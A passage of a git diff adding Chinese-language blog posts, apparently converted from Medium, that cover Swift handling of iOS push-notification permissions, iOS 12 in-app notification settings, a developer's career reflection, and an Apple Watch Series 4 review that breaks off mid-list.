alertController.addAction(settingAction) + self.present(alertController, animated: true) { + + } +} else if notificationStatus.value == NotificationStatusType.notDetermined { + //未詢問 + requestNotificationPermission() +} +``` + + +> **請注意!!跳到APP的「設定」頁時請勿使用** + + +> UIApplication\.shared\.openURL\(URL\(string:”App\-Prefs:root=\\ \(bundleID\)”\) \) + + +> 方式跳轉, **會被退審\! 會被退審\! 會被退審\! (親身經歷)** + + +> 這是Private API + + + + +#### 5\. 應用\(動態\) + +動態變更狀態的部分,因為notificationStatus物件我們使用是Observable,我們可以在要時時監測狀態的viewDidLoad中加入監聽處理: +```swift +override func viewDidLoad() { + super.viewDidLoad() + notificationStatus.afterChange += { oldStatus,newStatus in + if newStatus == NotificationStatusType.authorized { + //print("❤️謝謝你打開通知") + } else if newStatus == NotificationStatusType.denied { + //print("😭嗚嗚") + } + } +} +``` + + +> 以上只是範例Code,實際應用、觸發可再自行調校 + + +> **\*notificationStatus 使用 Observable 請注意記憶體控制,該釋放時要能釋放(防止記憶體洩漏)、不該釋放時需持有(避免監聽失效)** + + + + +### 最後附上完整Demo成品: + + +![[結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}](/assets/fd7f92d52baa/1*_iVzlJLNQ7f0hO7IWxg1Zg.gif) + +[結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"} + +_\*由於我們的專案支援範圍是iOS 9 ~ iOS12,iOS 8未進行任何測試不確定支援程度_ + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/%E5%BE%9E-ios-9-%E5%88%B0-ios-12-%E6%8E%A8%E6%92%AD%E9%80%9A%E7%9F%A5%E6%AC%8A%E9%99%90%E7%8B%80%E6%85%8B%E8%99%95%E7%90%86-swift-fd7f92d52baa){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2018-11-03-8d863bcd1c55.md b/_posts/zmediumtomarkdown/2018-11-03-8d863bcd1c55.md new file mode 100644 index 000000000..a18d039d2 --- /dev/null +++ b/_posts/zmediumtomarkdown/2018-11-03-8d863bcd1c55.md @@ -0,0 +1,87 @@ +--- +title: "永遠保持探索新事物的熱忱" +author: "ZhgChgLi" +date: 2018-11-03T18:54:07.828+0000 +last_modified_at: 2023-08-05T17:19:26.461+0000 +categories: "ZRealm Life." +tags: ["ios-app-development","back-end-development","life-lessons","生活","medium"] +description: "從踏入資訊領域到轉戰iOS APP開發的人生契機" +image: + path: /assets/8d863bcd1c55/1*RNPTGz30TwfJqywKpySskA.jpeg +render_with_liquid: false +--- + +### 永遠保持探索新事物的熱忱 + +從踏入資訊領域到轉戰iOS APP開發的人生契機 + + + +![Bangkok 2018 \- [Z Realm — 解決問題的道路上你並不孤單](https://medium.com/u/8854784154b8){:target="_blank"}](/assets/8d863bcd1c55/1*RNPTGz30TwfJqywKpySskA.jpeg) + +Bangkok 2018 \- [Z Realm — 解決問題的道路上你並不孤單](https://medium.com/u/8854784154b8){:target="_blank"} + +時間過得真快,從Back End轉跳開發Mobile iOS APP 滿一年、開始寫Medium也滿一個月,第10篇小小小里程碑就容我寫一篇自我突破轉換跑道心得。 +#### 永遠保持探索新事物的熱忱 + +「探索的本能促使人類偉大的成就」從古代哥倫布探索海洋發現新大陸、萊特兄弟改良飛機征服天空到現在離開地球探索外太空;唯有對新事物充滿熱忱才能不斷地超越自己,或許我們不能像阿姆斯壯偉大,但是如同他所說的「你的一小步,可能是人的一大步」不要低估自己的創造力才能. +#### 契機 + +機會來的時候要好好把握,因為不能保證會有第二次;你可能會猶豫或許下一個更好或懼怕下了錯誤的決定,但是「Who know **s** ? [是太陽先升起還是意外先來臨](https://www.youtube.com/watch?v=fzuy63eCUKc){:target="_blank"} 」如果沒有負面的影響那就張開雙手握住機會吧! + +時間退回到2009年,剛進入彰工綜合高中就讀高一的我,在一次偶然的機會下得知學校有在培訓選手去參加比賽,當初的想法是「反正回家也沒事不如去學學東西」就去報名加入了;是我人生的第一個轉捩點,就此踏入資訊領域;加入選手培訓很辛苦,每天下課\+六日\+寒暑假三年的時間都在學校練習、風險也很高,沒比到名次就幾乎什麼都沒有;但就結果來說還好當時有把握住這個契機(選手一路走來的心路歷程以後再補上) + + +![[全國技能競賽](https://sc.wdasec.gov.tw/home.jsp?pageno=201111010001){:target="_blank"} \- 勞動部勞動力發展署](/assets/8d863bcd1c55/1*VGaABssIbJwjFcPw-Xvr6Q.jpeg) + +[全國技能競賽](https://sc.wdasec.gov.tw/home.jsp?pageno=201111010001){:target="_blank"} \- 勞動部勞動力發展署 + +這個契機讓我學到了很多吃飯的技術,設計的illustrator/Photoshop/Flash、工程的PHP/Mysql/Html/CSS/Javascript/Jquery,並藉由比賽冠軍資格保送臺科大就讀;回頭來看,真的好險,好險有把握這個機會! + +時間快轉到2017年大學畢業依然是以後端工程師的職務進入職場,對於做網頁這件事,大學開始主要專精於做後端\(Laravel\),前端的部分就沒什麼在研究了,都使用現成框架\(Bootstrap/Semantic UI\) + +這時的瓶頸是在同個領域太久且一直沒有突破性的發展,所以當初給自己下了新的目標: +1. 繼續深入探索後端 +2. 轉換行銷\(GA\)/企劃領域 +3. 學新語言/寫APP + + +這時候契機又出現,我加入的專案要開始開發移動平台應用;但起初我的設定是我去寫API後端,用Laravel加一些新技術對我也算是種突破;這邊要提到一件事,做決定時要把眼光放遠,當初預設選擇繼續後端的原因是惰性加上我覺得踏入的成本很高,因為那時沒有Mac再加上是一個全新的領域,還好有主管的提點,最終還是選擇踏入iOS APP開發. + +2018年的現在,開發iOS APP剛好滿一年,收穫的部分:學習了新的語言Swift、iOS APP開發、自己寫的APP上架的成就感、開始寫Medium?;還好有把握住這個機會,等於為我的職涯又開了另一扇窗! +#### For工程的後端轉戰iOS APP開發的心得 + +「都是寫程式不都差不多?」隔行如隔山… +初期有人指點會比較快,因為很多觀念都跟網頁開發不太ㄧ樣,會經歷一陣子的撞牆期,要撐住!就能看到成功的曙光! +我自己也撞牆了快一個月,稍微有脈絡之後你會遇到 **第二次撞牆期** ,這時候要越挫越勇,從錯誤中學習,用時間換經驗(如果你時間不夠建議去上入門課或找個師傅帶你) +- **開發環境** :以往寫PHP我們用Sublime打一打,Ctrl\+S然後Ctrl\+Tab切換到瀏覽器Ctrl\+R就能快速看到結果;現在要使用Xcode,然後部署到模擬器或手機上才看得到結果;這部分正好能改善我急性子的個性XD. +- **語言部分** :Swift比較Morden、強型別、更有結構,一開始可能不太習慣,但用上手後就沒什麼問題了 +- **Storyboard/Interface Builder** :這部分降低新手的入門門檻,如果一開始就要用code刻畫面學習起來會更辛苦;可以直接視覺化玩轉UI、學習排版、拉拉Outlet +- **記憶體跟頁面排版結構** :這是比較需要注意的項目,也是我說用時間換經驗的部分;以往做網頁沒有什麼極限,要做什麼就做什麼;就以表格來說,網頁就打<table>然後跑PHP迴圈把資料顯示出來,但在APP上就要使用UITableview元件來實作(想當初用UIView排出來然後很高興跟主管說我做好了!結果發現記憶體一個大爆炸) +其他還有記憶體洩漏的部分也要多注意! +- **應用上線** :APP開發要更小心、測試要更細心;因為不像網頁能有錯就改,iOS APP上版本要經過審核、有BUG也不能降版,所以有BUG至少要花一天才能修復,對使用者影響很大! +- **使用者評論** :使用者可給你最直接的評論 + + + +![五顆星暖心、一顆心痛心](/assets/8d863bcd1c55/1*ltK4MF_zb8DjfTQO1qdo0Q.jpeg) + +五顆星暖心、一顆心痛心 +#### 總結 + + +![[@returntothesources](http://returntothesources.blogspot.com/2015/02/life-is-like-box-of-chocolates.html){:target="_blank"}](/assets/8d863bcd1c55/1*lpV62VYlzuCUa67iIG2svQ.png) + +[@returntothesources](http://returntothesources.blogspot.com/2015/02/life-is-like-box-of-chocolates.html){:target="_blank"} + +人生就是充滿不確定性才有趣,對於來到的機會,你選擇把握就會有所收穫;你選擇放手,下個機會或許更好,沒有什麼對或錯,總之相信自己的直覺「擇你所愛,愛你所擇」 +#### 給自己的期許 + +目前還很菜會持續在iOS APP開發上打滾,朝著未來學習、成長尋找突破點、保持寫Medium的習慣,下一個契機是什麼?我也很期待! + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-life/%E6%B0%B8%E9%81%A0%E4%BF%9D%E6%8C%81%E6%8E%A2%E7%B4%A2%E6%96%B0%E4%BA%8B%E7%89%A9%E7%9A%84%E7%86%B1%E5%BF%B1-8d863bcd1c55){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2018-11-12-f644db1bb8bf.md b/_posts/zmediumtomarkdown/2018-11-12-f644db1bb8bf.md new file mode 100644 index 000000000..51fb5d262 --- /dev/null +++ b/_posts/zmediumtomarkdown/2018-11-12-f644db1bb8bf.md @@ -0,0 +1,122 @@ +--- +title: "iOS ≥ 12 在使用者的「設定」中增加「APP通知設定頁」捷徑 (Swift)" +author: "ZhgChgLi" +date: 2018-11-12T14:38:42.897+0000 +last_modified_at: 2024-04-13T07:32:20.248+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","ios","swift","push-notification","ios-12"] +description: "除了從系統關閉通知,讓使用者還有其他選擇 .providesAppNotificationSettings/openSettingsFor" +image: + path: /assets/f644db1bb8bf/1*DEOMdPwDxyHca-GnYr8HIQ.jpeg +render_with_liquid: false +--- + +### iOS ≥ 12 在使用者的「設定」中增加「APP通知設定頁」捷徑 \(Swift\) + +除了從系統關閉通知,讓使用者還有其他選擇 + +#### 緊接著前三篇文章: +- [iOS ≥ 10 Notification Service Extension 應用 \(Swift\)](../cb6eba52a342/) +- [什麼?iOS 12 不需使用者授權就能傳送推播通知\(Swift\)](../ade9e745a4bf/) +- [從 iOS 9 到 iOS 12 推播通知權限狀態處理\(Swift\)](../fd7f92d52baa/) + + +我們繼續針對推播進行改進,不管是原有的技術或是新開放的功能,都來嘗試嘗試! +### 這次是啥? + +iOS ≥ 12 可以在使用者的「設定」中增加您的APP通知設定頁面捷徑,讓使用者想要調整通知時,能有其他選擇;可以跳轉到「APP內」而不是從「系統面」直接關閉,ㄧ樣不囉唆先上圖: + + +![「設定」\->「APP」\->「通知」\->「在APP中設定」](/assets/f644db1bb8bf/1*BAdVMElIjgg34meOSdHhOw.gif) + +「設定」\->「APP」\->「通知」\->「在APP中設定」 + +另外在使用者收到通知時,若欲使用3D Touch調整設定「關閉」通知,會多一個「在APP中設定」的選項供使用者選擇 + + +![「通知」\->「3D Touch」\->「…」\->「關閉…」\->「在APP中設定」](/assets/f644db1bb8bf/1*KMKbYQU3nPfF9XpMS5NbPQ.gif) + +「通知」\->「3D Touch」\->「…」\->「關閉…」\->「在APP中設定」 +### 怎麼實作? + +這部分的實作非常簡單,第一步僅需在要求推播權限時多要求一個 **\.providesAppNotificationSettings** 權限即可 +```swift +//appDelegate.swift didFinishLaunchingWithOptions or.... +if #available(iOS 12.0, *) { + let center = UNUserNotificationCenter.current() + let permissiones:UNAuthorizationOptions = [.badge, .alert, .sound, .provisional,.providesAppNotificationSettings] + center.requestAuthorization(options: permissiones) { (granted, error) in + + } +} +``` + + +![](/assets/f644db1bb8bf/1*_xztNYANTU6ilOXY_qKOKA.png) + + +在詢問過使用者要不要允許通知之後,通知若為開啟狀態下方就會出現選項囉( **不論前面使用者按允許或不允許** )。 +#### 第二步: + +第二步,也是最後一步;我們要讓 **appDelegate** 遵守 **UNUserNotificationCenterDelegate** 代理並實作 **userNotificationCenter\( \_ center: UNUserNotificationCenter, openSettingsFor notification: UNNotification?\)** 方法即可! +```swift +//appDelegate.swift +import UserNotifications +@UIApplicationMain +class AppDelegate: UIResponder, UIApplicationDelegate { + var window: UIWindow? + func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool { + if #available(iOS 10.0, *) { + UNUserNotificationCenter.current().delegate = self + } + + return true + } + //其他部份省略... +} +extension AppDelegate: UNUserNotificationCenterDelegate { + @available(iOS 10.0, *) + func userNotificationCenter(_ center: UNUserNotificationCenter, openSettingsFor notification: UNNotification?) { + //跳轉到你的設定頁面位置.. + //EX: + //let VC = SettingViewController(); + //self.window?.rootViewController.present(alertController, animated: true) + } +} +``` +- 在Appdelegate的didFinishLaunchingWithOptions中實現代理 +- Appdelegate遵守代理並實作方法 + + +完成!相較於前幾篇文章,這個功能實作相較起來非常簡單 🏆 +### 總結 + +這個功能跟 [前一篇](../ade9e745a4bf/) 提到的先不用使用者授權就發干擾性較低的靜音推播給使用者試試水溫有點類似! + +都是在開發者與使用者之前架起新的橋樑,以往APP太吵,我們會直接進到設定頁無情地關閉所有通知,但這樣對開發者來說,以後不管好的壞的有用的…任何通知都無法再發給使用者,使用者可能也因此錯過重要消息或限定優惠. + +這個功能讓使用者欲關閉通知時能有進到APP調整通知的選擇,開發者可以針對推播項目細分,讓使用者決定自己想要收到什麼類型的推播。 + + +![](/assets/f644db1bb8bf/1*ju98WxxFonEimTx2tEFO3Q.jpeg) + + +以 [結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"} 來說,使用者若覺得專欄通知太干擾,可個別關閉;但依然能收到重要系統消息通知. + + +> **p\.s 個別關閉通知功能是我們APP本來就有的功能,但透過結合iOS ≥12的新通知特性能有更好的效果及使用者體驗的提升** + + + + + + +![](/assets/f644db1bb8bf/1*DEOMdPwDxyHca-GnYr8HIQ.jpeg) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/ios-12-%E5%9C%A8%E4%BD%BF%E7%94%A8%E8%80%85%E7%9A%84-%E8%A8%AD%E5%AE%9A-%E4%B8%AD%E5%A2%9E%E5%8A%A0-app%E9%80%9A%E7%9F%A5%E8%A8%AD%E5%AE%9A%E9%A0%81-%E6%8D%B7%E5%BE%91-swift-f644db1bb8bf){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2018-11-26-a2920e33e73e.md b/_posts/zmediumtomarkdown/2018-11-26-a2920e33e73e.md new file mode 100644 index 000000000..c4c403133 --- /dev/null +++ b/_posts/zmediumtomarkdown/2018-11-26-a2920e33e73e.md @@ -0,0 +1,425 @@ +--- +title: "Apple Watch Series 4 從入手到上手全方位心得" +author: "ZhgChgLi" +date: 2018-11-26T14:18:41.111+0000 +last_modified_at: 2023-08-05T17:18:33.242+0000 +categories: "ZRealm Life." +tags: ["apple-watch","watchos","apple-watch-apps","生活","開箱"] +description: "為什麼要買?好用嗎?哪裡好用?怎麼用?& WatchOS APP推薦" +image: + path: /assets/a2920e33e73e/1*64PZhi7_5S8ytmM1s1Wblg.jpeg +render_with_liquid: false +--- + +### Apple Watch Series 4 開箱 從入手到上手全方位心得 \(2020–10–24更新\) + +為什麼要買?好用嗎?哪裡好用?怎麼用?& WatchOS APP推薦 + +#### [\[最新\] Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往](../eab0e984043/) +### 從入手開始… +#### 個人背景 + +首先自述一下個人使用蘋果產品的背景,我並非忠實果粉;第一次接觸是在 2015 年用打工薪水買的 iPhone 6,後因工作所需直到去年才開始使用MacOS的電腦\(Mac Mini\)並在今年購入了自己的MacBook Pro、更換iPhone 8;其中我會踏入蘋果生態系的原因不外乎是: +1. 工作需要(開發iOS APP一定要有MacOS設備) +2. 工作效率(穩定度或程式切換、操作方式體驗都更好再配合生態系iPhone與MacOS之間的連動、資料同步在許多地方都能化繁為簡) +3. 續航力、便攜性、Retina顯示器 + + +\[2019–05–02更新\]:蘋果全家桶的設備再添一項, [AirPods 2 \(開箱及上手體驗請點此\)](../33afa0ae557d/) +#### 為何想買Apple Watch? +1. 記錄運動情況、心率狀況 +2. 跑步不想帶手機 +3. 減少使用手機的時間,但又不想露接重要資訊 +4. 大包小包的時候能不用掏出手機/使用Apple Pay +5. 靠近自動解鎖MacBook(我的MacBook Pro非Touch Bar版本,打密碼打得心很累) +6. 騎車看導航 +7. 潮!沒用過,想買來玩玩 +8. 想寫 WatchOS APP + +### 開始挑選… + +綜合以上因素開始挑選適合的Apple Watch;撇除錶帶材質,單論本體有三種版本可供選擇: +1. 鋁金屬錶殼\+可能會刮傷的玻璃表面\+GPS = $12,900\(40mm\) / $13,900 \(44mm\) +2. 鋁金屬錶殼\+可能會刮傷的玻璃表面\+GPS\+行動網路 = $16,500\(40mm\) / $17,500 \(44mm\) +3. 不鏽鋼錶殼\+藍寶石硬邦邦玻璃\+GPS\+行動網路 = $22,900\(40mm\) / $24,900 \(44mm\) + + +我個人是買 **2\. 鋁金屬錶殼\+可能會刮傷的玻璃表面\+GPS\+行動網路 44 mm** +#### 錶面的部分: +#### **大小** + +有40mm/44mm兩種,實際依照個人手腕大小做選擇,太大可能會不合手、心率偵測不準確;太小則戴起來看起來很怪 + + +![左44mm/右40mm \(感謝同事友情支援\)](/assets/a2920e33e73e/1*FZh7TIgs139thXO7RgrdVQ.jpeg) + +左44mm/右40mm \(感謝同事友情支援\) + + +![如果一時找不到東西比較,可以拿一個日拋隱形眼鏡的匣子作比較約=44mm \(實際測量44\.5mm\)](/assets/a2920e33e73e/1*uqIFhXzpNmaVLgb2tXg72Q.jpeg) + +如果一時找不到東西比較,可以拿一個日拋隱形眼鏡的匣子作比較約=44mm \(實際測量44\.5mm\) + +這裡附上筆者的手給大家參考,若還是不確定大小最好還是跑一趟101門市去試戴看看(我當初也是先瞄準40mm,結果去實際帶過才發現太小…) + +**\*Apple Watch 3 38mm與 Apple Watch 4 40 mm 大小ㄧ樣錶帶通用** +**\*Apple Watch 3 42mm與 Apple Watch 4 44 mm 大小ㄧ樣錶帶通用** +#### **錶殼材質** + +有鋁金屬錶殼\+可能會刮傷的玻璃表面 和 不鏽鋼錶殼\+藍寶石硬邦邦玻璃 兩種,預算充足的朋友當然建議選擇後者;個人因預算不足只好選擇前者;為何要選擇不鏽鋼錶殼\+藍寶石硬邦邦玻璃版本呢? + +1\.雖然本體較重(運動時可能會感覺到)但在生活上更容易與穿搭配合,皮革錶帶或金屬錶帶與不修綱機身搭配加上商務衣著能有更一致的品味觀感;休閒或運動時更換運動型錶帶也不失優雅,能動能靜! + +2\.藍寶石硬邦邦玻璃不必費神擔心錶面刮傷(個人使用經驗:我的上一隻 iPhone 6 裸機使用一年多;沒特別傷害它,日常就放口袋、放桌上;螢幕還是刮得亂七八糟但鏡頭部分使用藍寶石硬邦邦玻璃所以完好如初) + +但我買的是一般版本…如果你上網搜尋Apple Watch貼膜的文章會找到兩派的人,一派支持認為會刮傷要貼膜;另一派反對認為是使用習慣問題、沒那麼脆弱會刮傷、你有看勞力士有貼膜? +或你是佛系使用者買來就是要用、消耗性產品那也沒這困擾 + +我個人有點強迫症有刮傷會不爽,所以支持要貼膜;使用習慣問題? 我覺得只有撞到才是使用習慣不良,日常粉塵傷害實在難防 + +如果你也要貼膜,在這裡給你個建議「多花點錢找人貼」,一般我的手機都是自己貼的,為什麼說Apple Watch要找人貼? + +這部分搞得我心很累,首先我在Pchome買東京\*用的玻璃鋼化保護貼來貼\($399\),硬膜/只有邊框有膠,貼上去中間呈現一個中空狀態不密合觸控超級不靈敏\(認真懷疑廠商是不是沒測試過?\),所以貼一下就撕掉了; + +第二次嘗試是買g\*r軟膜\($100/兩片\)全膠能密合,但軟的很難貼容易有氣泡;兩片都試了還是有一點氣泡很礙眼,而且不疏油疏水用起來不順手。 + +最後花了$990給人家貼好\(x豪包膜\) h\*a果凍膠玻璃貼,密合、沒氣泡、滿版、疏油疏水 + +**如果還是想要自己嘗試貼膜的可以找找水凝膜。** + + +![貼膜後的手感當然不比原生好(個人感覺大約 97分:100分)而且螢幕會高一小截 ,取捨就看個人囉!](/assets/a2920e33e73e/1*j6mLCaUqhWNr_7e8Wf5BIw.png) + +貼膜後的手感當然不比原生好(個人感覺大約 97分:100分)而且螢幕會高一小截 ,取捨就看個人囉! + +3\.錶殼部分不鏽鋼較耐撞、刮傷可重新拋光,看同事的不鏽鋼版本完好如初沒任何刮傷;錶殼部分我比較不在意,真的在意的朋友或許可以包膜(? + + +![不鏽鋼版本 \(感謝同事友情支援\)](/assets/a2920e33e73e/1*n_W9SLmBluwRxuVsHm5W_Q.jpeg) + +不鏽鋼版本 \(感謝同事友情支援\) + +所以預算充足的朋友還是建議升不銹鋼版本. +#### 關於選購保護殼: + +保護貼很容易碎邊,我在沒有保護殼\(套\)的狀態下,平均貼不到一個月就會不知道怎麼的受傷碎邊,一張$990…之前共換了三張,快吐血;目前用保護套之後已經過了4個月都還完好如初! + + +> 建議「至少要用邊框保護套」哪一牌子都可 + + + + + +> 我的血淚教訓只想說一句相見恨晚,早知道有保護套這種產品就不用多花冤望錢! + + + +#### 要不要買支援行動網路的版本? + +這部分我持保留態度;個人是有買行動網路版本,以後跑步運動就不用帶手機另外考量到要戴個2~3年不確定未來如何所以就先升級囉,但如果你預算有限,且不會沒帶手機出門,那可以只買WiFi版本就好(價差$3600) +請考量以下幾點: +1. 目前Spotify不支援離線播放,運動聽音樂還是要帶手機 \(2018/11/21\) +p\.s Apple Music/KKBOX 支援離線播放沒這問題 +2. Apple Watch APP不多,能做的事也只有打電話/回訊息/回Line/回Fb Messenger/Apple Pay 僅此而已 +\*Apple Pay不需行動網路版就能離線使用 +3. 行動網路使用需額外申辦並繳交每個月$199電信費\(中華/~2018/12/31前申辦優惠價$149\),網路流量吃原本手機的方案 +4. 行動網路的運作方式是手錶將資料透過電信傳輸到手機再透過手機發送出去,因此你的 **手機也必須處於開機狀態下才能使用手錶.** +**\*所以手機沒電關機…手錶也不能用,即使有辦行動網路** + + +[**\[2020–10–24 更新\]** :Spotify 已支援獨立播放,在手錶 Spotify APP 中選擇播放裝置\->Apple Watch\->連線藍牙耳機\->即可播放!(依然還不支援離線下載播放,需再有網路環境下才可使用)。](../eab0e984043/) + + +![](/assets/a2920e33e73e/1*4OJsP_Nf56FV_U09zT429Q.jpeg) + +### 購買 + +上週\(2018/11/11\)實際跑了一趟101沒有我要的貨,於是從網路下單由大陸發貨,11/11下單,11/12出貨,11/15準時送達: + + +![](/assets/a2920e33e73e/1*VzGR-uwxmsnQ0Xee6WsaOQ.png) + +### 開箱 + +拿到的時候很興奮直接拆開來用就沒做記錄了,開箱部分可參考網路: [Apple Watch Series 4体验 全面屏手表,是你吗](https://www.youtube.com/watch?v=mXIEOhI-buM){:target="_blank"} [?](https://www.youtube.com/watch?v=mXIEOhI-buM){:target="_blank"} [\(大陸\)](https://www.youtube.com/watch?v=mXIEOhI-buM){:target="_blank"} 、 [Apple Watch series 4完整開箱!其中三點功能超有](https://www.youtube.com/watch?v=hErwMkypEqc){:target="_blank"} [感](https://www.youtube.com/watch?v=hErwMkypEqc){:target="_blank"} [\(台灣\)](https://www.youtube.com/watch?v=hErwMkypEqc){:target="_blank"} + + +![補張開箱圖](/assets/a2920e33e73e/1*64PZhi7_5S8ytmM1s1Wblg.jpeg) + +補張開箱圖 + +入手部分到此結束…\. +### 開始上手 + +配對、基礎設定這裡就不再贅述,可參考上面開箱文;這裡假定你已經都弄好開始使用Apple Watch了 + + +![附一張按鈕圖 — [Apple官方支援中心](https://support.apple.com/zh-tw/HT205552){:target="_blank"}](/assets/a2920e33e73e/1*qNlLQb-sqqPPimwF5b1Wvw.png) + +附一張按鈕圖 — [Apple官方支援中心](https://support.apple.com/zh-tw/HT205552){:target="_blank"} + +「Digital Crown」= 「數位錶冠」 +「Side Button」= 「側邊按鈕」 + +**按鈕操作部分:** +1. 點一下數位錶冠在主畫面與錶面之間切換 +2. 點兩下數位錶冠切換到最近開啟的APP +3. 點一下側邊按鈕呼出Dock \(多工視窗\),可設定顯示最近開啟的APP或自訂喜好的APP \(打開「iPhone」上的「Watch」 APP \->「我的手錶」頁\->Dock\->Dock排列\) +4. 點兩下側邊按鈕呼出Apple Pay,這時感應就會直接付款 +p\.s Apple Pay預設卡片修改請打開「iPhone」上的「Watch」 APP \->「我的手錶」頁\->錢包與Apple Pay\->交易預設值\->預設卡片\->選擇您要預設的卡片 +\* 無法修改順序,只能指定某一張卡為預設放在第一 +5. 長壓側邊按鈕呼出系統選單「關閉電源」或「開機」、顯示醫療卡、播打SOS緊急電話 + +#### Apple Watch 螢幕截圖功能 + +很重要,所以放第一個,怎麼截Apple Watch的螢幕圖: +打開「iPhone」上的「Watch」 APP \->「我的手錶」頁\-> 進入「一般」\-> 「啟用螢幕快照」打開 + + +![](/assets/a2920e33e73e/1*Za5IVCeJy_kEwoprlvgWkA.png) + + +在Apple Watch上同時按下數位錶冠和側邊按鈕,螢幕出現光影掠過效果後即表示截圖完成;這時打開iPhone就能看到截圖的相片囉! +#### 揚聲器 + +手錶內建揚聲器只能通話時使用、播放提示音不能播放音樂;如果覺得用手錶講電話大家都會聽到可使用藍牙耳機 +#### 各圖示狀態說明 + +[請參閱官方文件](https://support.apple.com/zh-tw/HT205550){:target="_blank"} +#### Apple Watch與iPhone之間的連線 + +手錶在手機附近時使用藍牙,距離太遠時使用WiFi + + +![左邊表示連線中斷中,右邊表示連線正常中](/assets/a2920e33e73e/1*2kbJd75Qi81C1ihia0lLbw.jpeg) + +左邊表示連線中斷中,右邊表示連線正常中 +#### iPhone APP的通知傳送到Apple Watch + +手錶預設會吃iPhone上APP的通知設定,也可特別關閉某些APP的通知不要傳送到手錶(打開「iPhone」上的「Watch」 APP \->「我的手錶」頁\->「通知」\->拉到最下方可針對各APP調整) +- 若APP沒在此列表出現則表示該APP本來就沒在iPhone上開啟通知功能(請去「iPhone」上的「設定」\->「通知」\->打開該APP通知功能) +- 為什麼有的通知會有提示音/震動有的不會? +這項設定是吃iPhone上APP的通知設定,APP「通知」有開啟「聲音」就會有提示音及震動 +- 大部分的APP通知都只支援查看,部分可支援操作(如Line的通知可點擊在手錶上回覆) +- **手機未使用狀態\+手錶配戴中,手錶才會跳新通知提示/手機端不會響但依然會出現在通知中心;避免出現手機與手錶都同時響的情況** + +#### APP有支援For Apple Watch時 +- 預設在安裝APP時該APP有支援For Apple Watch的APP時也會一併在Apple Watch上安裝該APP(可從「iPhone」上的「Watch」 APP \->「我的手錶」頁\->「一般」\->關閉「自動APP安裝」) +- 能不能只安裝Apple Watch APP? +不行,目前無法獨立安裝Apple Watch APP;一定在iPhone都會有一個APP +- 不想安裝Apple Watch版的APP +從「iPhone」上的「Watch」 APP \->「我的手錶」頁\->滾動到下方「已在APPLE WATCH上安裝」部分點進去\->關閉「顯示App於Apple Watch」 +- **APP寫支援「複雜功能」的意思就是支援錶盤小工具** + +#### 錶面設計 + +隨便你玩隨便你放,你覺得哪些資訊重要或怎樣設計比較美都看個人;我是把「我隨時看手錶都會想知道的資訊」放在錶盤上,也可以加入多個錶面作切換。 +#### 手電筒 + +你沒看錯,Apple Watch也有手電筒;在錶面頁由底部上拉出選單找到「手電筒」符號的按鈕,進入後可以左右切化畫面顏色;沒錯,就是螢幕高亮顏色而已! + + +![](/assets/a2920e33e73e/1*Sg-RRk8JWIdnh5STgbpoVA.jpeg) + + +比較特別的是還有一個爆閃模式: + + +[![Apple Watch S4 FlashLight](/assets/a2920e33e73e/88b9_hqdefault.jpg "Apple Watch S4 FlashLight")](http://www.youtube.com/watch?v=__vGQDSBsik){:target="_blank"} + + +讓夜間活動更安全! +#### 各個模式 + +「靜音模式」\- 所有通知都靜音、都不震動、不亮螢幕提示,僅顯示在通知中心 + +「劇院模式」\- 抬手不會喚醒螢幕,要點擊螢幕才會喚醒 + +「水中鎖定」\- 螢幕觸控鎖定,要轉動數位錶冠後才能解鎖,解鎖後揚聲器會自動播放聲音排出積水 + +「飛航模式」\- 關閉所有外部連線 + +「省電模式」\- 真的很省電!只剩下按數位錶冠顯示時間功能,其他完全關閉,幾乎等於關機狀態;退出省電模式要按住側邊按鈕(同開機) + +以上所有模式,鬧鐘、倒數功能皆會照樣響「省電模式下會強制開機」 +#### 抬手腕直接呼叫Siri + +只要抬起手腕,螢幕點亮後,可以直接說話使用Siri\!,不用說「Hey\! Siri」\(EX: 抬手後直接說 **“明天天氣”** \)。 +在手機離你有一段距離時也能使用Siri\(EX:曬衣服的時候\)。 + +\[2019–05–02更新\]:更上一層的Siri體驗?請參考 [AirPods 2 開箱及上手體驗心得](../33afa0ae557d/) 中的 Siri部分,AirPods 2 的 Siri 有戴耳機就能直接使用,連抬手腕都不用了。 +#### AQI空氣品質無法顯示? + +內建的AQI似乎不支援台灣地區,要去「App Store」搜尋「在意空氣」下載安裝\+開啟後,再到錶盤設計複雜功能的地方改選擇「在意空氣」即可 +#### 用Apple Watch解鎖Mac電腦 +1. 確認你的iPhone/Apple Watch/Mac電腦登入的是同個Apple帳號 +2. 確認你的Apple帳號有開啟 [雙重認證](https://support.apple.com/zh-tw/HT205075){:target="_blank"} +3. 